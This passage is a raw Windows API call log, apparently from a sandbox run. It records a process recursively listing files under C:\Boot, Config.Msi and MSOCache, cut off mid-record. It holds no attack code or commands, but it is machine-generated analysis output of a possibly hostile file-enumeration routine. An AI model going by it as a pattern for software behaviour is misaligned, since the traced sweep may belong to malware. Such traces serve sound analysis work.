ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.730] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0060.730] FindClose (in: hFindFile=0x572758 | out: hFindFile=0x572758) returned 1 [0060.731] GetProcessHeap () returned 0x550000 [0060.731] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b9ec8 | out: hHeap=0x550000) returned 1 [0060.731] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0060.731] GetProcessHeap () returned 0x550000 [0060.731] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b9ec8 [0060.731] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*", lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a978 [0063.606] FindNextFileW (in: hFindFile=0x56a978, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.607] FindNextFileW (in: hFindFile=0x56a978, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.607] SetEvent (hEvent=0x150) returned 1 [0063.608] ResetEvent (hEvent=0x154) returned 1 [0063.611] FindNextFileW (in: hFindFile=0x56a978, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.611] FindClose (in: hFindFile=0x56a978 | out: hFindFile=0x56a978) returned 1 [0063.611] GetProcessHeap () returned 0x550000 [0063.611] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b9ec8 | out: hHeap=0x550000) returned 1 [0063.611] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0063.612] GetProcessHeap () returned 0x550000 [0063.612] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b9ec8 [0063.612] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*", lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a978 [0063.612] FindNextFileW (in: hFindFile=0x56a978, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.612] FindNextFileW (in: hFindFile=0x56a978, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.612] SetEvent (hEvent=0x150) returned 1 [0063.613] ResetEvent (hEvent=0x154) returned 1 [0063.616] FindNextFileW (in: hFindFile=0x56a978, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.616] FindClose (in: hFindFile=0x56a978 | out: hFindFile=0x56a978) returned 1 [0063.617] GetProcessHeap () returned 0x550000 [0063.617] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b9ec8 | out: hHeap=0x550000) returned 1 [0063.617] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0063.617] GetProcessHeap () returned 0x550000 [0063.617] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b9ec8 [0063.617] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*", lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a978 [0063.617] FindNextFileW (in: hFindFile=0x56a978, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.618] FindNextFileW (in: hFindFile=0x56a978, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.618] SetEvent (hEvent=0x150) returned 1 [0063.619] ResetEvent (hEvent=0x154) returned 1 [0063.622] FindNextFileW (in: hFindFile=0x56a978, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.622] FindClose (in: hFindFile=0x56a978 | out: hFindFile=0x56a978) returned 1 [0063.622] GetProcessHeap () returned 0x550000 [0063.622] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b9ec8 | out: hHeap=0x550000) returned 1 [0063.622] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0063.623] GetProcessHeap () returned 0x550000 [0063.623] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b9ec8 [0063.623] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*", lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a978 [0063.623] FindNextFileW (in: hFindFile=0x56a978, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.623] FindNextFileW (in: hFindFile=0x56a978, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.623] SetEvent (hEvent=0x150) returned 1 [0063.624] ResetEvent (hEvent=0x154) returned 1 [0063.628] FindNextFileW (in: hFindFile=0x56a978, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.628] FindClose (in: hFindFile=0x56a978 | out: hFindFile=0x56a978) returned 1 [0063.628] GetProcessHeap () returned 0x550000 [0063.628] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b9ec8 | out: hHeap=0x550000) returned 1 [0063.628] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0063.628] FindClose (in: hFindFile=0x570aa8 | out: hFindFile=0x570aa8) returned 1 [0063.628] GetProcessHeap () returned 0x550000 [0063.629] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5a8eb8 | out: hHeap=0x550000) returned 1 [0063.629] FindNextFileW (in: hFindFile=0x56fd30, lpFindFileData=0x27ffa70 | out: lpFindFileData=0x27ffa70*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0063.629] SetEvent (hEvent=0x150) returned 1 [0063.630] ResetEvent (hEvent=0x154) returned 1 [0063.633] FindNextFileW (in: hFindFile=0x56fd30, lpFindFileData=0x27ffa70 | out: lpFindFileData=0x27ffa70*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0063.634] SetEvent (hEvent=0x150) returned 1 [0063.634] ResetEvent (hEvent=0x154) returned 1 [0063.642] FindNextFileW (in: hFindFile=0x56fd30, lpFindFileData=0x27ffa70 | out: lpFindFileData=0x27ffa70*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0063.642] GetProcessHeap () returned 0x550000 [0063.642] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5a8eb8 [0063.643] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Config.Msi\\*", lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570aa8 [0063.652] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.652] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0063.652] FindClose (in: hFindFile=0x570aa8 | out: hFindFile=0x570aa8) returned 1 [0063.653] GetProcessHeap () returned 0x550000 [0063.653] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5a8eb8 | out: hHeap=0x550000) returned 1 [0063.653] FindNextFileW (in: hFindFile=0x56fd30, lpFindFileData=0x27ffa70 | out: lpFindFileData=0x27ffa70*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0063.653] FindNextFileW (in: hFindFile=0x56fd30, lpFindFileData=0x27ffa70 | out: lpFindFileData=0x27ffa70*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x4e9ad440, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0063.653] SetEvent (hEvent=0x150) returned 1 [0063.654] ResetEvent (hEvent=0x154) returned 1 [0063.655] FindNextFileW (in: hFindFile=0x56fd30, lpFindFileData=0x27ffa70 | out: lpFindFileData=0x27ffa70*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0063.656] GetProcessHeap () returned 0x550000 [0063.656] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5a8eb8 [0063.656] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\*", lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570aa8 [0063.657] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.657] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0063.657] GetProcessHeap () returned 0x550000 [0063.657] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b8ec0 [0063.657] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\*", lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a978 [0063.662] FindNextFileW (in: hFindFile=0x56a978, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.663] FindNextFileW (in: hFindFile=0x56a978, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0063.664] GetProcessHeap () returned 0x550000 [0063.664] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2650070 [0063.773] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a9b8 [0063.909] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.909] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", 